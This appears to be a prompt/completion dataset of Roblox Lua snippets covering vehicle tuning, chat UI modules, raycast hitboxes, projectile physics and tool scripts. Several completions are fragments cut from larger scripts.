prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[[Shutdown]]
|
car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then script.Parent:Destroy() end end)
|
-- Customization
|
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)
MouseSense = 0.5;
CanAim = false; -- Allows player to aim
CanBolt = false; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)
LaserAttached = true;
LightAttached = true;
TracerEnabled = true;
SprintSpeed = 22;
|
-- Get the correct sound from our sound list.
|
local function getSoundProperties()
for name, data in pairs(IDList) do
if name == material then
id = data.id
volume = data.volume
playbackSpeed = (humanoid.WalkSpeed / 16) * data.speed
break
end
end
end
|
--used by checkTeams
|
function tagHuman(human)
local tag = Tag:Clone()
tag.Parent = human
game:GetService("Debris"):AddItem(tag)
end
|
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.
|
local FFlagFixChatWindowHoverOver = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixChatWindowHoverOver")
end)
if ok then
FFlagFixChatWindowHoverOver = value
end
end
local FFlagFixMouseCapture = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixMouseCapture")
end)
if ok then
FFlagFixMouseCapture = value
end
end
local FILTER_MESSAGE_TIMEOUT = 60
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
OnNewMessage = "RemoteEvent",
OnMessageDoneFiltering = "RemoteEvent",
OnNewSystemMessage = "RemoteEvent",
OnChannelJoined = "RemoteEvent",
OnChannelLeft = "RemoteEvent",
OnMuted = "RemoteEvent",
OnUnmuted = "RemoteEvent",
OnMainChannelSet = "RemoteEvent",
SayMessageRequest = "RemoteEvent",
GetInitDataRequest = "RemoteFunction",
}
|
--------
|
local HitboxObject = {}
local Hitbox = {}
Hitbox.__index = Hitbox
function Hitbox:__tostring()
return string.format("Hitbox for instance %s [%s]", self.object.Name, self.object.ClassName)
end
function HitboxObject:new()
return setmetatable({}, Hitbox)
end
function Hitbox:config(object, ignoreList)
self.active = false
self.deleted = false
self.partMode = false
self.debugMode = false
self.points = {}
self.targetsHit = {}
self.OnHit = Signal:Create()
self.OnUpdate = Signal:Create()
self.raycastParams = RaycastParams.new()
self.raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
self.raycastParams.FilterDescendantsInstances = ignoreList or {}
self.object = object
CollectionService:AddTag(self.object, "RaycastModuleManaged")
end
function Hitbox:SetPoints(object, vectorPoints, groupName)
if object and (object:IsA("BasePart") or object:IsA("MeshPart")) then
for _, vectors in ipairs(vectorPoints) do
if typeof(vectors) == "Vector3" then
local Point = {
RelativePart = object,
Attachment = vectors,
LastPosition = nil,
group = groupName,
solver = CastVectorPoint
}
table.insert(self.points, Point)
end
end
end
end
function Hitbox:RemovePoints(object, vectorPoints)
if object then
if object:IsA("BasePart") or object:IsA("MeshPart") then --- for some reason it doesn't recognize meshparts unless I add it in
for i = 1, #self.points do
local Point = self.points[i]
for _, vectors in ipairs(vectorPoints) do
if typeof(Point.Attachment) == "Vector3" and Point.Attachment == vectors and Point.RelativePart == object then
self.points[i] = nil
end
end
end
end
end
end
function Hitbox:LinkAttachments(primaryAttachment, secondaryAttachment)
if primaryAttachment:IsA("Attachment") and secondaryAttachment:IsA("Attachment") then
local group = primaryAttachment:FindFirstChild("Group")
local Point = {
RelativePart = nil,
Attachment = primaryAttachment,
Attachment0 = secondaryAttachment,
LastPosition = nil,
group = group and group.Value,
solver = CastLinkAttach
}
table.insert(self.points, Point)
end
end
function Hitbox:UnlinkAttachments(primaryAttachment)
for i, Point in ipairs(self.points) do
if Point.Attachment and Point.Attachment == primaryAttachment then
table.remove(self.points, i)
break
end
end
end
function Hitbox:seekAttachments(attachmentName, canWarn)
if #self.points <= 0 then
table.insert(self.raycastParams.FilterDescendantsInstances, workspace.Terrain)
end
for _, attachment in ipairs(self.object:GetDescendants()) do
if attachment:IsA("Attachment") and attachment.Name == attachmentName then
local group = attachment:FindFirstChild("Group")
local Point = {
Attachment = attachment,
RelativePart = nil,
LastPosition = nil,
group = group and group.Value,
solver = CastAttachment
}
table.insert(self.points, Point)
end
end
if canWarn then
if #self.points <= 0 then
warn(string.format("\n[[RAYCAST WARNING]]\nNo attachments with the name '%s' were found in %s. No raycasts will be drawn. Can be ignored if you are using SetPoints.",
attachmentName, self.object.Name)
)
else
print(string.format("\n[[RAYCAST MESSAGE]]\n\nCreated Hitbox for %s - Attachments found: %s",
self.object.Name, #self.points)
)
end
end
end
function Hitbox:Destroy()
if self.deleted then return end
if self.OnHit then self.OnHit:Delete() end
if self.OnUpdate then self.OnUpdate:Delete() end
self.points = nil
self.active = false
self.deleted = true
end
function Hitbox:HitStart()
self.active = true
end
function Hitbox:HitStop()
if self.deleted then return end
self.active = false
table.clear(self.targetsHit)
end
function Hitbox:PartMode(bool)
self.partMode = bool
end
function Hitbox:DebugMode(bool)
self.debugMode = bool
end
return HitboxObject
|
-- Requires
|
local APIEquipment = require(ReplicatedStorage.Common.APIEquipment)
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.TA.RemoteEvent:FireServer(true)
end
end)
|
-- Ring1 ascending
|
for l = 1,#lifts1 do
if (lifts1[l].className == "Part") then
lifts1[l].BodyPosition.position = Vector3.new((lifts1[l].BodyPosition.position.x),(lifts1[l].BodyPosition.position.y+0),(lifts1[l].BodyPosition.position.z))
end
end
wait(0.1)
for p = 1,#parts1 do
parts1[p].CanCollide = true
end
wait(1)
|
--Supercharger
|
local Whine_Pitch = 1.3 --max pitch of the whine (not exact so might have to mess with it)
local S_Loudness = 6.2 --volume of the supercharger(s) (not exact volume so you kinda have to experiment with it also)
script:WaitForChild("Whistle")
script:WaitForChild("Whine")
script:WaitForChild("BOV")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
end
end)
if not _Tune.Engine then return end
handler:FireServer("newSound","Whistle",car.DriveSeat,script.Whistle.SoundId,0,script.Whistle.Volume,true)
handler:FireServer("newSound","Whine",car.DriveSeat,script.Whine.SoundId,0,script.Whine.Volume,true)
handler:FireServer("newSound","BOV",car.DriveSeat,script.BOV.SoundId,0,script.BOV.Volume,true)
handler:FireServer("playSound","Whistle")
handler:FireServer("playSound","Whine")
car.DriveSeat:WaitForChild("Whistle")
car.DriveSeat:WaitForChild("Whine")
car.DriveSeat:WaitForChild("BOV")
local ticc = tick()
local _TCount = _Tune.Turbochargers
local _SCount = _Tune.Superchargers
while wait() do
local psi = (((script.Parent.Values.Boost.Value)/((_Tune.T_Boost*_TCount)+(_Tune.S_Boost*_SCount)))*2)
local tpsi = (((script.Parent.Values.BoostTurbo.Value)/(_Tune.T_Boost*_TCount))*2)
local spsi = ((script.Parent.Values.BoostSuper.Value)/(_Tune.S_Boost*_SCount))
--(script.Parent.Values.RPM.Value/_Tune.Redline)
local WP,WV,BP,BV,HP,HV = 0,0,0,0,0,0
BOVact = math.floor(tpsi*20)
if _TCount~=0 then
WP = (tpsi)
WV = (tpsi/4)*T_Loudness
BP = (1-(-tpsi/20))*BOV_Pitch
BV = (((-0.5+((tpsi/2)*BOV_Loudness)))*(1 - script.Parent.Values.Throttle.Value))
if BOVact < BOVact2 then if car.DriveSeat.BOV.IsPaused then if FE then handler:FireServer("playSound","BOV") else car.DriveSeat.BOV:Play() end end end
if BOVact >= BOVact2 then if FE then handler:FireServer("stopSound","BOV") else car.DriveSeat.BOV:Stop() end end
else
WP,WV,BP,BV=0,0,0,0
end
if _SCount~=0 then
HP = (script.Parent.Values.RPM.Value/_Tune.Redline)*Whine_Pitch
HV = (spsi/4)*S_Loudness
else
HP,HV = 0,0
end
handler:FireServer("updateSound","Whistle",script.Whistle.SoundId,WP,WV)
handler:FireServer("updateSound","Whine",script.Whine.SoundId,HP,HV)
handler:FireServer("updateSound","BOV",script.BOV.SoundId,BP,BV)
if (tick()-ticc) >= 0.1 then
BOVact2 = math.floor(tpsi*20)
ticc = tick()
end
end
|
---- GETTERS AND SETTERS ----
|
local function ModifyTransformation(cast: ActiveCast, velocity: Vector3?, acceleration: Vector3?, position: Vector3?)
local trajectories = cast.StateInfo.Trajectories
local lastTrajectory = trajectories[#trajectories]
-- NEW BEHAVIOR: Don't create a new trajectory if we haven't even used the current one.
if lastTrajectory.StartTime == cast.StateInfo.TotalRuntime then
-- This trajectory is fresh out of the box. Let's just change it since it hasn't actually affected the cast yet, so changes won't have adverse effects.
if (velocity == nil) then
velocity = lastTrajectory.InitialVelocity
end
if (acceleration == nil) then
acceleration = lastTrajectory.Acceleration
end
if (position == nil) then
position = lastTrajectory.Origin
end
lastTrajectory.Origin = position
lastTrajectory.InitialVelocity = velocity
lastTrajectory.Acceleration = acceleration
else
-- The latest trajectory is done. Set its end time and get its location.
lastTrajectory.EndTime = cast.StateInfo.TotalRuntime
local point, velAtPoint = unpack(GetLatestTrajectoryEndInfo(cast))
if (velocity == nil) then
velocity = velAtPoint
end
if (acceleration == nil) then
acceleration = lastTrajectory.Acceleration
end
if (position == nil) then
position = point
end
table.insert(cast.StateInfo.Trajectories, {
StartTime = cast.StateInfo.TotalRuntime,
EndTime = -1,
Origin = position,
InitialVelocity = velocity,
Acceleration = acceleration
})
cast.StateInfo.CancelHighResCast = true
end
end
function ActiveCastStatic:SetVelocity(velocity: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("SetVelocity", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
ModifyTransformation(self, velocity, nil, nil)
end
function ActiveCastStatic:SetAcceleration(acceleration: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("SetAcceleration", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
ModifyTransformation(self, nil, acceleration, nil)
end
function ActiveCastStatic:SetPosition(position: Vector3)
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("SetPosition", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
ModifyTransformation(self, nil, nil, position)
end
function ActiveCastStatic:GetVelocity(): Vector3
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("GetVelocity", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]
return GetVelocityAtTime(self.StateInfo.TotalRuntime - currentTrajectory.StartTime, currentTrajectory.InitialVelocity, currentTrajectory.Acceleration)
end
function ActiveCastStatic:GetAcceleration(): Vector3
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("GetAcceleration", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]
return currentTrajectory.Acceleration
end
function ActiveCastStatic:GetPosition(): Vector3
assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("GetPosition", "ActiveCast.new(...)"))
assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local currentTrajectory = self.StateInfo.Trajectories[#self.StateInfo.Trajectories]
return GetPositionAtTime(self.StateInfo.TotalRuntime - currentTrajectory.StartTime, currentTrajectory.Origin, currentTrajectory.InitialVelocity, currentTrajectory.Acceleration)
end
|
-- Deprecated in favour of GetMessageModeTextButton
-- Retained for compatibility reasons.
|
function methods:GetMessageModeTextLabel()
return self:GetMessageModeTextButton()
end
function methods:IsFocused()
if self.UserHasChatOff then
return false
end
return self:GetTextBox():IsFocused()
end
function methods:GetVisible()
return self.GuiObject.Visible
end
function methods:CaptureFocus()
if not self.UserHasChatOff then
self:GetTextBox():CaptureFocus()
end
end
function methods:ReleaseFocus(didRelease)
self:GetTextBox():ReleaseFocus(didRelease)
end
function methods:ResetText()
self:GetTextBox().Text = ""
end
function methods:SetText(text)
self:GetTextBox().Text = text
end
function methods:GetEnabled()
return self.GuiObject.Visible
end
function methods:SetEnabled(enabled)
if self.UserHasChatOff then
-- The chat bar can not be removed if a user has chat turned off so that
-- the chat bar can display a message explaining that chat is turned off.
self.GuiObject.Visible = true
else
self.GuiObject.Visible = enabled
end
end
function methods:SetTextLabelText(text)
if not self.UserHasChatOff then
self.TextLabel.Text = text
end
end
function methods:SetTextBoxText(text)
self.TextBox.Text = text
end
function methods:GetTextBoxText()
return self.TextBox.Text
end
function methods:ResetSize()
self.TargetYSize = 0
self:TweenToTargetYSize()
end
local function measureSize(textObj)
return TextService:GetTextSize(
textObj.Text,
textObj.TextSize,
textObj.Font,
Vector2.new(textObj.AbsoluteSize.X, 10000)
)
end
function methods:CalculateSize()
if self.CalculatingSizeLock then
return
end
self.CalculatingSizeLock = true
local textSize = nil
local bounds = nil
if self:IsFocused() or self.TextBox.Text ~= "" then
textSize = self.TextBox.TextSize
bounds = measureSize(self.TextBox).Y
else
textSize = self.TextLabel.TextSize
bounds = measureSize(self.TextLabel).Y
end
local newTargetYSize = bounds - textSize
if (self.TargetYSize ~= newTargetYSize) then
self.TargetYSize = newTargetYSize
self:TweenToTargetYSize()
end
self.CalculatingSizeLock = false
end
function methods:TweenToTargetYSize()
local endSize = UDim2.new(1, 0, 1, self.TargetYSize)
local curSize = self.GuiObject.Size
local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = endSize
local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = curSize
local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY)
local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels)
local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end)
if (not success) then
self.GuiObject.Size = endSize
end
end
function methods:SetTextSize(textSize)
if not self:IsInCustomState() then
if self.TextBox then
self.TextBox.TextSize = textSize
end
if self.TextLabel then
self.TextLabel.TextSize = textSize
end
end
end
function methods:GetDefaultChannelNameColor()
if ChatSettings.DefaultChannelNameColor then
return ChatSettings.DefaultChannelNameColor
end
return Color3.fromRGB(35, 76, 142)
end
function methods:SetChannelTarget(targetChannel)
local messageModeTextButton = self.GuiObjects.MessageModeTextButton
local textBox = self.TextBox
local textLabel = self.TextLabel
self.TargetChannel = targetChannel
if not self:IsInCustomState() then
if targetChannel ~= ChatSettings.GeneralChannelName then
messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0)
local localizedTargetChannel = targetChannel
if ChatLocalization.tryLocalize then
localizedTargetChannel = ChatLocalization:tryLocalize(targetChannel)
end
messageModeTextButton.Text = string.format("[%s] ", localizedTargetChannel)
local channelNameColor = self:GetChannelNameColor(targetChannel)
if channelNameColor then
messageModeTextButton.TextColor3 = channelNameColor
else
messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()
end
local xSize = messageModeTextButton.TextBounds.X
messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0)
textBox.Size = UDim2.new(1, -xSize, 1, 0)
textBox.Position = UDim2.new(0, xSize, 0, 0)
textLabel.Size = UDim2.new(1, -xSize, 1, 0)
textLabel.Position = UDim2.new(0, xSize, 0, 0)
else
messageModeTextButton.Text = ""
messageModeTextButton.Size = UDim2.new(0, 0, 0, 0)
textBox.Size = UDim2.new(1, 0, 1, 0)
textBox.Position = UDim2.new(0, 0, 0, 0)
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.Position = UDim2.new(0, 0, 0, 0)
end
end
end
function methods:IsInCustomState()
return self.InCustomState
end
function methods:ResetCustomState()
if self.InCustomState then
self.CustomState:Destroy()
self.CustomState = nil
self.InCustomState = false
self.ChatBarParentFrame:ClearAllChildren()
self:CreateGuiObjects(self.ChatBarParentFrame)
self:SetTextLabelText(
ChatLocalization:Get(
"GameChat_ChatMain_ChatBarText",
'To chat click here or press "/" key'
)
)
end
end
function methods:EnterWhisperState(player)
self:ResetCustomState()
if WhisperModule.CustomStateCreator then
self.CustomState = WhisperModule.CustomStateCreator(
player,
self.ChatWindow,
self,
ChatSettings
)
self.InCustomState = true
else
self:SetText("/w " .. player.Name)
end
self:CaptureFocus()
end
function methods:GetCustomMessage()
if self.InCustomState then
return self.CustomState:GetMessage()
end
return nil
end
function methods:CustomStateProcessCompletedMessage(message)
if self.InCustomState then
return self.CustomState:ProcessCompletedMessage()
end
return false
end
function methods:FadeOutBackground(duration)
self.AnimParams.Background_TargetTransparency = 1
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeOutText(duration)
end
function methods:FadeInBackground(duration)
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeInText(duration)
end
function methods:FadeOutText(duration)
self.AnimParams.Text_TargetTransparency = 1
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInText(duration)
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:AnimGuiObjects()
self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency
end
function methods:InitializeAnimParams()
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_CurrentTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = 1
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_CurrentTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = 1
end
function methods:Update(dtScale)
self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Text_CurrentTransparency,
self.AnimParams.Text_TargetTransparency,
self.AnimParams.Text_NormalizedExptValue,
dtScale
)
self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Background_CurrentTransparency,
self.AnimParams.Background_TargetTransparency,
self.AnimParams.Background_NormalizedExptValue,
dtScale
)
self:AnimGuiObjects()
end
function methods:SetChannelNameColor(channelName, channelNameColor)
self.ChannelNameColors[channelName] = channelNameColor
if self.GuiObjects.MessageModeTextButton.Text == channelName then
self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor
end
end
function methods:GetChannelNameColor(channelName)
return self.ChannelNameColors[channelName]
end
|
-- tu dois assigner la bonne couleur
|
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Name
local normalBorderColor = script.Parent.TextLabel.TextColor.Color
function Click(mouse)
if game.Players[plr].TeamColor ~= game.Teams:FindFirstChild(script.Parent.Name).TeamColor then
game.Players[plr].TeamColor = game.Teams:FindFirstChild(script.Parent.Name).TeamColor
script.Parent.Border.ImageColor3 = Color3.new(0.333333, 1, 0)
wait(.25)
script.Parent.Border.ImageColor3 = normalBorderColor
wait(.1)
if script.Parent.Parent.Parent.CanKill == true then
script.Parent.Parent.Parent.Parent.Parent.Parent.Character.Humanoid.Health = 0
end
else
script.Parent.Border.ImageColor3 = Color3.new(1, 0, 0)
wait(.25)
script.Parent.Border.ImageColor3 = normalBorderColor
wait(.1)
end
end
script.Parent.MouseButton1Click:connect(Click)
|
--[[
repeat until not script.Parent.Touched:wait():IsDescendantOf(game.Players[script.Parent.Name].Character)
script.Parent.Throw:Stop()
local vel = script.Parent.Velocity
local trace = Ray.new(script.Parent.Position,vel*10)
local hit,pos = workspace:FindPartOnRay(trace,game.Players[script.Parent.Name].Character)
--]]
|
if script.Name~="Explode" then
if hit~=nil and hit.Anchored and hit.CanCollide and hit.Transparency<1 then
script.Parent.Anchored = true
script.Parent.CFrame = CFrame.new(pos,pos+vel)*CFrame.Angles(math.pi/-2,0,0)
script.Parent.Stick:Play()
wait(10)
for i=0,1,0.02 do
wait(0.05)
script.Parent.Transparency = i
end
elseif hit~=nil and hit.Parent~=nil then
if hit.Parent.className=="Hat" and hit.Parent.Parent:FindFirstChild("Head")~=nil then hit=hit.Parent.Parent.Head end
if hit.Parent:FindFirstChild("Humanoid")~=nil and hit.Parent.Humanoid.Health>0 then
hit.Parent.Humanoid:TakeDamage(100)
local s = script.Parent.Kill
s.Parent = hit.Parent:FindFirstChild("Head")
s:Play()
hit.Velocity = vel.unit*15
game.Debris:AddItem(s,2)
end
end
script.Parent:Remove()
else
local e = Instance.new("Explosion")
e.Hit:connect(function(part,dist)
if part.Parent~=nil and part.Parent:FindFirstChild("Humanoid")~=nil then
if part.Parent.Name~=script.Parent.Name then
part.Parent.Humanoid:TakeDamage(100)
end
end
end)
e.Position = pos
e.BlastPressure = 100
e.DestroyJointRadiusPercent = 0
e.Parent = workspace
--script.Parent.Parent = nil
wait()
script.Parent:Remove()
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = 1
Tune.RCamber = 1
Tune.FCaster = 0
Tune.FToe = 0
Tune.RToe = 0
|
--- Skill
|
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "FireBarrage"
wait(0.1)
Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01)
Track1:Play()
wait(0.15)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,30 do
wait()
hum.CameraOffset = Vector3.new(
math.random(-1,1),
math.random(-1,1),
math.random(-1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
wait(0.15)
Tool.Active.Value = "None"
wait(2)
Debounce = true
end
end)
|
--Dont touch
|
local car = script.Parent.Car.Value
local UserInputService = game:GetService("UserInputService")
local _InControls = false
local wheelie = false
local WheelieInput = 0
local KeyWhel = false
function DealWithInput(input)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then
if (input.KeyCode == Enum.KeyCode[WheelieButton]) and input.UserInputState == Enum.UserInputState.Begin then
KeyWhel = true
WheelieInput = 1
elseif (input.KeyCode == Enum.KeyCode[WheelieButton]) and input.UserInputState == Enum.UserInputState.End then
KeyWhel = false
WheelieInput = 0
end
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Wheelie
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
if input.Position.Y>= 0 then
local cDZone = math.min(.99,DeadZone/100)
if math.abs(input.Position.Y)>cDZone then
KeyWhel = false
WheelieInput = (input.Position.Y-cDZone)/(1-cDZone)
else
KeyWhel = false
WheelieInput = 0
end
else
local cDZone = math.min(.99,DeadZone/100)
if math.abs(input.Position.Y)>cDZone then
KeyWhel = false
WheelieInput = (input.Position.Y+cDZone)/(1-cDZone)
else
KeyWhel = false
WheelieInput = 0
end
end
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
if not car.Body.Weight:FindFirstChild("wheelie") then
gyro = Instance.new("BodyGyro")
gyro.Name = "wheelie"
gyro.Parent = car.Body.Weight
else
gyro = car.Body.Weight.wheelie
end
car.Body.Weight:WaitForChild("wheelie")
car.DriveSeat.ChildRemoved:connect(function(child)
gyro.D = 0
gyro.MaxTorque = Vector3.new(0,0,0)
gyro.P = 0
gyro.cframe = CFrame.new(car.Body.Weight.CFrame.p,car.Body.Weight.CFrame.p+car.Body.Weight.CFrame.lookVector)*CFrame.Angles(0,0,0)
end)
WheelieDivider = math.max(1,WheelieDivider)
StoppieDivider = math.max(1,StoppieDivider)
while wait(clock) do
_InControls = script.Parent.ControlsOpen.Value
if KeyWhel then
WheelieOutput = -WheelieInput*(script.Parent.Values.Throttle.Value-script.Parent.Values.Brake.Value)
else
WheelieOutput = WheelieInput
end
if script.Parent.Values.Throttle.Value > .1 then
gyro.D = WheelieD*(-(math.min(WheelieOutput,0))*script.Parent.Values.Throttle.Value)
gyro.MaxTorque = Vector3.new(WheelieTq*(-(math.min(WheelieOutput,0))*script.Parent.Values.Throttle.Value),0,0)
gyro.P = WheelieP*(-(math.min(WheelieOutput,0))*script.Parent.Values.Throttle.Value)
gyro.cframe = CFrame.new(car.Body.Weight.CFrame.p,car.Body.Weight.CFrame.p+car.Body.Weight.CFrame.lookVector)*CFrame.Angles((-(math.min(WheelieOutput,0)*WheelieMultiplier/WheelieDivider)*script.Parent.Values.Throttle.Value)-car.Body.Weight.CFrame.lookVector.Y,0,0)
elseif script.Parent.Values.Brake.Value > .1 then
gyro.D = StoppieD*((math.min(-WheelieOutput,0))*script.Parent.Values.Brake.Value)
gyro.MaxTorque = Vector3.new(StoppieTq*((math.min(-WheelieOutput,0))*script.Parent.Values.Brake.Value),0,0)
gyro.P = StoppieP*((math.min(-WheelieOutput,0))*script.Parent.Values.Brake.Value)
gyro.cframe = CFrame.new(car.Body.Weight.CFrame.p,car.Body.Weight.CFrame.p+car.Body.Weight.CFrame.lookVector)*CFrame.Angles(((math.min(-WheelieOutput,0)*StoppieMultiplier/StoppieDivider)*script.Parent.Values.Brake.Value)-car.Body.Weight.CFrame.lookVector.Y,0,0)
else
gyro.D = 0
gyro.MaxTorque = Vector3.new(0,0,0)
gyro.P = 0
gyro.cframe = CFrame.new(car.Body.Weight.CFrame.p,car.Body.Weight.CFrame.p+car.Body.Weight.CFrame.lookVector)*CFrame.Angles(0,0,0)
end
end
|
-- Fire with blacklist
|
function FastCast:FireWithBlacklist(origin, directionWithMagnitude, velocity, blacklist, cosmeticBulletObject, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, penetrationData)
assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("FireWithBlacklist", "FastCast.new()"))
BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, nil, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, blacklist, false, penetrationData)
end
TargetEvent:Connect(function(dt)
for i, v in next, Projectiles, nil do
if RemoveList[i] then
RemoveList[i] = nil
Projectiles[i] = nil
else
i.Update(dt)
end
end
end)
|
-- Update tooltip position
|
task.defer(function()
while true do
while not Frame.Visible do
Frame.Changed:Wait()
end
Frame.Position = GetTooltipPosition()
RunService.PreRender:Wait()
end
end)
return Tooltip
|
--Horsepower Curve
|
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
local function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
|
--local DisableBackpack = script:WaitForChild("DisableBackpack")
|
if Services.Players:GetPlayerFromCharacter(Character) and Services.Players:GetPlayerFromCharacter(Character):FindFirstChild("PlayerGui") then
TrackOrb.Parent = Services.Players:GetPlayerFromCharacter(Character):FindFirstChild("PlayerGui")
TrackOrb.Disabled = false
--DisableBackpack.Parent = Services.Players:GetPlayerFromCharacter(Character):FindFirstChild("PlayerGui")
--DisableBackpack.Disabled = false
end
local UnequipLoop
